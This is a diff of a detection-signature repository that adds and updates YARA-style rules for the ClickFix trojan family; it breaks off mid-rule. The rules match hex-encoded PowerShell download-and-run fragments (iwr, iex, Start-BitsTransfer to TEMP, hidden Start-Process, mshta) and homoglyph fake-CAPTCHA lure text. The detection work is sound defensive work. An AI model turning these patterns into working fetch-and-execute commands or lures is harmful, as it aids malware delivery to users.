00 2b 00 } //10 +(Get-Random)+ + $a_00_2 = {2b 00 20 00 28 00 47 00 65 00 74 00 2d 00 52 00 61 00 6e 00 64 00 6f 00 6d 00 29 00 20 00 2b 00 } //10 + (Get-Random) + + $a_00_3 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 $env:TEMP + $a_00_4 = {24 00 65 00 6e 00 76 00 3a 00 4c 00 6f 00 63 00 61 00 6c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 } //1 $env:LocalAppData + $a_00_5 = {5b 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 5d 00 3a 00 3a 00 57 00 72 00 69 00 74 00 65 00 41 00 6c 00 6c 00 42 00 79 00 74 00 65 00 73 00 28 00 24 00 } //1 [IO.File]::WriteAllBytes($ + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHJ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHJ_MTB.yar new file mode 100644 index 0000000000..69cc8c23ea --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHJ_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DHJ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DHJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff83 00 ffffff83 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 } //10 wscript.shell + $a_00_2 = {6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 63 00 6f 00 6d 00 } //10 new-object -com + $a_00_3 = {2e 00 53 00 65 00 6e 00 64 00 4b 00 65 00 79 00 73 00 28 00 } //10 .SendKeys( + $a_00_4 = {66 00 6f 00 72 00 20 00 28 00 } //1 for ( + $a_00_5 = {77 00 68 00 69 00 6c 00 65 00 28 00 } //1 while( + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=131 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHP_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHP_MTB.yar new file mode 100644 index 0000000000..49b4c8fea4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHP_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DHP_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DHP!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 05 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 [0-50] 24 00 } //100 + $a_00_1 = {53 00 74 00 61 00 72 00 74 00 2d 00 42 00 69 00 74 00 73 00 54 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 20 00 2d 00 53 00 6f 00 75 00 72 00 63 00 65 00 20 00 68 00 74 00 74 00 70 00 } //10 Start-BitsTransfer -Source http + $a_00_2 = {2d 00 44 00 65 00 73 00 74 00 69 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //10 -Destination $env:TEMP + $a_00_3 = {3b 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 ; start $env:TEMP + $a_00_4 = {3b 00 20 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 ; Start-Process $env:TEMP + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHQ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHQ_MTB.yar new file mode 100644 index 0000000000..920b7dd351 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DHQ_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DHQ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DHQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 05 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 [0-50] 24 00 } //100 + $a_00_1 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 2b 00 } //10 =$env:TEMP+ + $a_00_2 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 41 00 50 00 50 00 44 00 41 00 54 00 41 00 2b 00 } //10 =$env:APPDATA+ + $a_00_3 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 } //1 Start-Process PowerShell + $a_00_4 = {67 00 69 00 74 00 68 00 75 00 62 00 } //-1000 github + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-1000) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DM_MTB.yar new file mode 100644 index 0000000000..40723f8528 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DM_MTB.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win32_ClickFix_DM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 0a 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_2 = {48 00 69 00 64 00 64 00 65 00 6e 00 } //10 Hidden + $a_02_3 = {53 00 74 00 61 00 72 00 74 00 [0-04] 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //10 + $a_00_4 = {69 00 72 00 6d 00 } //1 irm + $a_00_5 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 } //1 Invoke-RestMethod + $a_00_6 = {69 00 77 00 72 00 } //1 iwr + $a_00_7 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 } //1 Invoke-WebRequest + $a_00_8 = {69 00 65 00 78 00 } //1 iex + $a_00_9 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //1 Invoke-Expression + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_02_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1) >=41 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DO_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DO_MTB.yar deleted file mode 100644 index b1424646c7..0000000000 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DO_MTB.yar +++ /dev/null @@ -1,15 +0,0 @@ - -rule Trojan_Win32_ClickFix_DO_MTB{ - meta: - description = "Trojan:Win32/ClickFix.DO!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " - - strings : - $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell - $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http - $a_00_2 = {2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 7c 00 47 00 65 00 74 00 2d 00 4d 00 65 00 6d 00 62 00 65 00 72 00 7c 00 3f 00 7b 00 } //1 .InvokeCommand|Get-Member|?{ - $a_00_3 = {43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 54 00 79 00 70 00 65 00 73 00 5d 00 3a 00 3a 00 43 00 6d 00 64 00 6c 00 65 00 74 00 } //1 CommandTypes]::Cmdlet - $a_02_4 = {76 00 61 00 72 00 69 00 61 00 62 00 6c 00 65 00 3a 00 2f 00 [0-0f] 28 00 5b 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5d 00 3a 00 3a 00 6e 00 65 00 77 00 28 00 29 00 } //1 - condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_02_4 & 1)*1) >=5 - -} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DQ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DQ_MTB.yar index bc76ef2555..90f09a605e 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DQ_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DQ_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_DQ_MTB{ meta: - description = "Trojan:Win32/ClickFix.DQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 21 00 00 " + description = "Trojan:Win32/ClickFix.DQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 2a 00 00 " strings : $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell @@ -37,7 +37,16 @@ rule Trojan_Win32_ClickFix_DQ_MTB{ $a_00_30 = {60 21 51 02 6d 00 78 05 85 05 74 00 } //1 $a_00_31 = {7e 02 85 05 62 00 85 05 74 00 } //1 $a_00_32 = {f9 03 91 03 a1 03 a4 03 43 00 48 00 41 00 } //1 + $a_00_33 = {43 00 41 00 a1 03 54 00 43 00 48 00 41 00 } //1 + $a_00_34 = {72 00 6f 00 84 01 6f 00 74 00 } //1 + $a_00_35 = {72 00 bf 03 62 00 bf 03 c4 03 } //1 + $a_00_36 = {43 00 91 03 50 00 a4 03 43 00 97 03 91 03 } //1 + $a_00_37 = {21 04 91 03 20 04 03 a4 21 04 1d 04 91 03 } //1 + $a_00_38 = {56 00 35 04 72 00 56 04 66 00 } //1 Vеrіf + $a_00_39 = {21 04 91 03 20 04 22 04 21 04 1d 04 41 00 } //1 + $a_00_40 = {72 00 3e 04 62 00 3e 04 74 00 } //1 rоbоt + $a_00_41 = {43 00 41 00 50 00 54 00 43 00 97 03 41 00 } //1 condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_02_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1) >=31 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_02_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1+(#a_00_33 & 1)*1+(#a_00_34 & 1)*1+(#a_00_35 & 1)*1+(#a_00_36 & 1)*1+(#a_00_37 & 1)*1+(#a_00_38 & 1)*1+(#a_00_39 & 1)*1+(#a_00_40 & 1)*1+(#a_00_41 & 1)*1) >=31 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DV_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DV_MTB.yar index c58437ce14..ca18aaa3ac 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DV_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DV_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_DV_MTB{ meta: - description = "Trojan:Win32/ClickFix.DV!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 0f 00 00 " + description = "Trojan:Win32/ClickFix.DV!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 25 00 00 " strings : $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell @@ -19,7 +19,29 @@ rule Trojan_Win32_ClickFix_DV_MTB{ $a_00_12 = {f9 03 91 03 a1 03 a4 03 43 00 48 00 41 00 } //100 $a_00_13 = {72 00 0b 20 6f 00 62 00 6f 00 0d 20 74 00 } //100 $a_00_14 = {56 00 65 00 72 00 56 04 66 00 56 04 63 00 30 04 74 00 56 04 bf 03 78 05 } //100 + $a_00_15 = {43 00 41 00 a1 03 54 00 43 00 48 00 41 00 } //100 + $a_00_16 = {72 00 6f 00 84 01 6f 00 74 00 } //100 + $a_00_17 = {72 00 bf 03 62 00 bf 03 c4 03 } //100 + $a_00_18 = {43 00 91 03 50 00 a4 03 43 00 97 03 91 03 } //100 + $a_00_19 = {21 04 91 03 20 04 03 a4 21 04 1d 04 91 03 } //100 + $a_00_20 = {56 00 35 04 72 00 56 04 66 00 } //100 Vеrіf + $a_00_21 = {21 04 91 03 20 04 22 04 21 04 1d 04 41 00 } //100 + $a_00_22 = {72 00 3e 04 62 00 3e 04 74 00 } //100 rоbоt + $a_00_23 = {43 00 41 00 50 00 54 00 43 00 97 03 41 00 } //100 + $a_00_24 = {9d 03 bf 03 6e 00 2d 00 62 00 bf 03 74 00 } //100 + $a_00_25 = {68 00 c5 03 6d 00 30 04 6e 00 } //100 + $a_00_26 = {35 04 72 00 56 04 66 00 56 04 35 04 64 00 } //100 еrіfіеd + $a_00_27 = {21 04 6c 00 3e 04 75 00 64 00 } //100 Сlоud + $a_00_28 = {7e 02 80 05 62 00 80 05 1f 1d } //100 + $a_00_29 = {33 04 bf 03 62 00 3e 04 74 00 } //100 + $a_00_30 = {1d 04 75 00 6d 00 30 04 6e 00 } //100 Нumаn + $a_00_31 = {21 04 10 04 20 04 22 04 43 00 97 03 41 00 } //100 + $a_00_32 = {21 04 10 04 50 00 54 00 43 00 97 03 41 00 } //100 + $a_00_33 = {21 04 10 04 20 04 22 04 43 00 48 00 41 00 } //100 САРТCHA + $a_00_34 = {56 00 35 04 72 00 69 00 66 00 } //100 Vеrif + $a_00_35 = {1d 04 c5 03 6d 00 30 04 6e 00 } //100 + $a_00_36 = {f9 03 91 03 20 04 22 04 21 04 1d 04 91 03 } //100 condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_02_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_00_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100) >=111 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_02_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_00_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100+(#a_00_15 & 1)*100+(#a_00_16 & 1)*100+(#a_00_17 & 1)*100+(#a_00_18 & 1)*100+(#a_00_19 & 1)*100+(#a_00_20 & 1)*100+(#a_00_21 & 1)*100+(#a_00_22 & 1)*100+(#a_00_23 & 1)*100+(#a_00_24 & 1)*100+(#a_00_25 & 1)*100+(#a_00_26 & 1)*100+(#a_00_27 & 1)*100+(#a_00_28 & 1)*100+(#a_00_29 & 1)*100+(#a_00_30 & 1)*100+(#a_00_31 & 1)*100+(#a_00_32 & 1)*100+(#a_00_33 & 1)*100+(#a_00_34 & 1)*100+(#a_00_35 & 1)*100+(#a_00_36 & 1)*100) >=111 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DW_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DW_MTB.yar index 5fb9c7a519..21cc84eb27 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DW_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DW_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_DW_MTB{ meta: - description = "Trojan:Win32/ClickFix.DW!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,42 00 42 00 10 00 00 " + description = "Trojan:Win32/ClickFix.DW!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,42 00 42 00 21 00 00 " strings : $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta @@ -12,7 +12,7 @@ rule Trojan_Win32_ClickFix_DW_MTB{ $a_00_5 = {33 04 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //50 гСАРТСНА $a_00_6 = {33 04 65 00 20 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //50 гe САРТСНА $a_00_7 = {43 00 6c 00 bf 03 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //50 - $a_02_8 = {48 00 75 00 6d 00 30 04 6e 00 [0-1e] 21 04 41 00 50 00 54 00 43 00 48 00 41 00 } //50 + $a_00_8 = {48 00 75 00 6d 00 30 04 6e 00 } //50 Humаn $a_00_9 = {21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //50 САРТСНА $a_00_10 = {99 03 20 00 61 00 6d 00 20 00 6e 00 bf 03 74 00 } //50 $a_00_11 = {52 00 bf 03 62 00 bf 03 74 00 } //50 @@ -20,7 +20,24 @@ rule Trojan_Win32_ClickFix_DW_MTB{ $a_00_13 = {7e 02 85 05 62 00 85 05 74 00 } //50 $a_00_14 = {f9 03 91 03 a1 03 a4 03 43 00 48 00 41 00 } //50 $a_00_15 = {72 00 0b 20 6f 00 62 00 6f 00 0d 20 74 00 } //50 + $a_00_16 = {43 00 41 00 a1 03 54 00 43 00 48 00 41 00 } //50 + $a_00_17 = {72 00 6f 00 84 01 6f 00 74 00 } //50 + $a_00_18 = {72 00 bf 03 62 00 bf 03 c4 03 } //50 + $a_00_19 = {43 00 91 03 50 00 a4 03 43 00 97 03 91 03 } //50 + $a_00_20 = {21 04 91 03 20 04 03 a4 21 04 1d 04 91 03 } //50 + $a_00_21 = {21 04 91 03 20 04 22 04 21 04 1d 04 41 00 } //50 + $a_00_22 = {72 00 3e 04 62 00 3e 04 74 00 } //50 rоbоt + $a_00_23 = {43 00 41 00 50 00 54 00 43 00 97 03 41 00 } //50 + $a_00_24 = {68 00 c5 03 6d 00 30 04 6e 00 } //50 + $a_00_25 = {21 04 6c 00 3e 04 75 00 64 00 } //50 Сlоud + $a_00_26 = {7e 02 80 05 62 00 80 05 1f 1d } //50 + $a_00_27 = {33 04 bf 03 62 00 3e 04 74 00 } //50 + $a_00_28 = {1d 04 75 00 6d 00 30 04 6e 00 } //50 Нumаn + $a_00_29 = {21 04 10 04 20 04 22 04 43 00 97 03 41 00 } //50 + $a_00_30 = {21 04 10 04 50 00 54 00 43 00 97 03 41 00 } //50 + $a_00_31 = {1d 04 c5 03 6d 00 30 04 6e 00 } //50 + $a_00_32 = {f9 03 91 03 20 04 22 04 21 04 1d 04 91 03 } //50 condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*5+(#a_00_3 & 1)*5+(#a_00_4 & 1)*50+(#a_00_5 & 1)*50+(#a_00_6 & 1)*50+(#a_00_7 & 1)*50+(#a_02_8 & 1)*50+(#a_00_9 & 1)*50+(#a_00_10 & 1)*50+(#a_00_11 & 1)*50+(#a_00_12 & 1)*50+(#a_00_13 & 1)*50+(#a_00_14 & 1)*50+(#a_00_15 & 1)*50) >=66 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*5+(#a_00_3 & 1)*5+(#a_00_4 & 1)*50+(#a_00_5 & 1)*50+(#a_00_6 & 1)*50+(#a_00_7 & 1)*50+(#a_00_8 & 1)*50+(#a_00_9 & 1)*50+(#a_00_10 & 1)*50+(#a_00_11 & 1)*50+(#a_00_12 & 1)*50+(#a_00_13 & 1)*50+(#a_00_14 & 1)*50+(#a_00_15 & 1)*50+(#a_00_16 & 1)*50+(#a_00_17 & 1)*50+(#a_00_18 & 1)*50+(#a_00_19 & 1)*50+(#a_00_20 & 1)*50+(#a_00_21 & 1)*50+(#a_00_22 & 1)*50+(#a_00_23 & 1)*50+(#a_00_24 & 1)*50+(#a_00_25 & 1)*50+(#a_00_26 & 1)*50+(#a_00_27 & 1)*50+(#a_00_28 & 1)*50+(#a_00_29 & 1)*50+(#a_00_30 & 1)*50+(#a_00_31 & 1)*50+(#a_00_32 & 1)*50) >=66 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DX_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DX_MTB.yar index bfc2b004c9..0ea5c2cef2 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DX_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DX_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_DX_MTB{ meta: - description = "Trojan:Win32/ClickFix.DX!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff84 00 ffffff84 00 15 00 00 " + description = "Trojan:Win32/ClickFix.DX!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff84 00 ffffff84 00 2c 00 00 " strings : $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell @@ -12,20 +12,43 @@ rule Trojan_Win32_ClickFix_DX_MTB{ $a_00_5 = {69 00 65 00 78 00 } //1 iex $a_00_6 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //1 Invoke-Expression $a_00_7 = {76 00 65 00 72 00 69 00 66 00 } //20 verif - $a_00_8 = {33 04 65 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 гeСАРТСНА - $a_00_9 = {33 04 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 гСАРТСНА - $a_00_10 = {33 04 65 00 20 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 гe САРТСНА - $a_00_11 = {43 00 6c 00 bf 03 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //100 - $a_02_12 = {48 00 75 00 6d 00 30 04 6e 00 [0-1e] 21 04 41 00 50 00 54 00 43 00 48 00 41 00 } //100 - $a_00_13 = {43 00 49 00 6f 00 75 00 64 00 66 00 49 00 61 00 72 00 65 00 20 00 55 00 6e 00 69 00 71 00 75 00 65 00 20 00 4f 00 6e 00 65 00 2d 00 74 00 69 00 6d 00 65 00 } //100 CIoudfIare Unique One-time - $a_00_14 = {21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 САРТСНА - $a_00_15 = {99 03 20 00 61 00 6d 00 20 00 6e 00 bf 03 74 00 } //100 - $a_00_16 = {52 00 bf 03 62 00 bf 03 74 00 } //100 - $a_00_17 = {60 21 51 02 6d 00 78 05 85 05 74 00 } //100 - $a_00_18 = {7e 02 85 05 62 00 85 05 74 00 } //100 - $a_00_19 = {f9 03 91 03 a1 03 a4 03 43 00 48 00 41 00 } //100 - $a_00_20 = {72 00 0b 20 6f 00 62 00 6f 00 0d 20 74 00 } //100 + $a_00_8 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 } //-100 msedgewebview2 + $a_00_9 = {33 04 65 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 гeСАРТСНА + $a_00_10 = {33 04 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 гСАРТСНА + $a_00_11 = {33 04 65 00 20 00 21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 гe САРТСНА + $a_00_12 = {43 00 6c 00 bf 03 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //100 + $a_00_13 = {48 00 75 00 6d 00 30 04 6e 00 } //100 Humаn + $a_00_14 = {43 00 49 00 6f 00 75 00 64 00 66 00 49 00 61 00 72 00 65 00 20 00 55 00 6e 00 69 00 71 00 75 00 65 00 20 00 4f 00 6e 00 65 00 2d 00 74 00 69 00 6d 00 65 00 } //100 CIoudfIare Unique One-time + $a_00_15 = {21 04 10 04 20 04 22 04 21 04 1d 04 10 04 } //100 САРТСНА + $a_00_16 = {99 03 20 00 61 00 6d 00 20 00 6e 00 bf 03 74 00 } //100 + $a_00_17 = {52 00 bf 03 62 00 bf 03 74 00 } //100 + $a_00_18 = {60 21 51 02 6d 00 78 05 85 05 74 00 } //100 + $a_00_19 = {7e 02 85 05 62 00 85 05 74 00 } //100 + $a_00_20 = {f9 03 91 03 a1 03 a4 03 43 00 48 00 41 00 } //100 + $a_00_21 = {72 00 0b 20 6f 00 62 00 6f 00 0d 20 74 00 } //100 + $a_00_22 = {43 00 41 00 a1 03 54 00 43 00 48 00 41 00 } //100 + $a_00_23 = {72 00 6f 00 84 01 6f 00 74 00 } //100 + $a_00_24 = {72 00 bf 03 62 00 bf 03 c4 03 } //100 + $a_00_25 = {43 00 91 03 50 00 a4 03 43 00 97 03 91 03 } //100 + $a_00_26 = {21 04 91 03 20 04 03 a4 21 04 1d 04 91 03 } //100 + $a_00_27 = {21 04 91 03 20 04 22 04 21 04 1d 04 41 00 } //100 + $a_00_28 = {72 00 3e 04 62 00 3e 04 74 00 } //100 rоbоt + $a_00_29 = {43 00 41 00 50 00 54 00 43 00 97 03 41 00 } //100 + $a_00_30 = {9d 03 bf 03 6e 00 2d 00 62 00 bf 03 74 00 } //100 + $a_00_31 = {68 00 c5 03 6d 00 30 04 6e 00 } //100 + $a_00_32 = {35 04 72 00 56 04 66 00 56 04 35 04 64 00 } //100 еrіfіеd + $a_00_33 = {21 04 6c 00 3e 04 75 00 64 00 } //100 Сlоud + $a_00_34 = {7e 02 80 05 62 00 80 05 1f 1d } //100 + $a_00_35 = {33 04 bf 03 62 00 3e 04 74 00 } //100 + $a_00_36 = {1d 04 75 00 6d 00 30 04 6e 00 } //100 Нumаn + $a_00_37 = {21 04 10 04 20 04 22 04 43 00 97 03 41 00 } //100 + $a_00_38 = {21 04 10 04 50 00 54 00 43 00 97 03 41 00 } //100 + $a_00_39 = {1d 04 c5 03 6d 00 30 04 6e 00 } //100 + $a_00_40 = {f9 03 91 03 20 04 22 04 21 04 1d 04 91 03 } //100 + $a_00_41 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_42 = {69 00 66 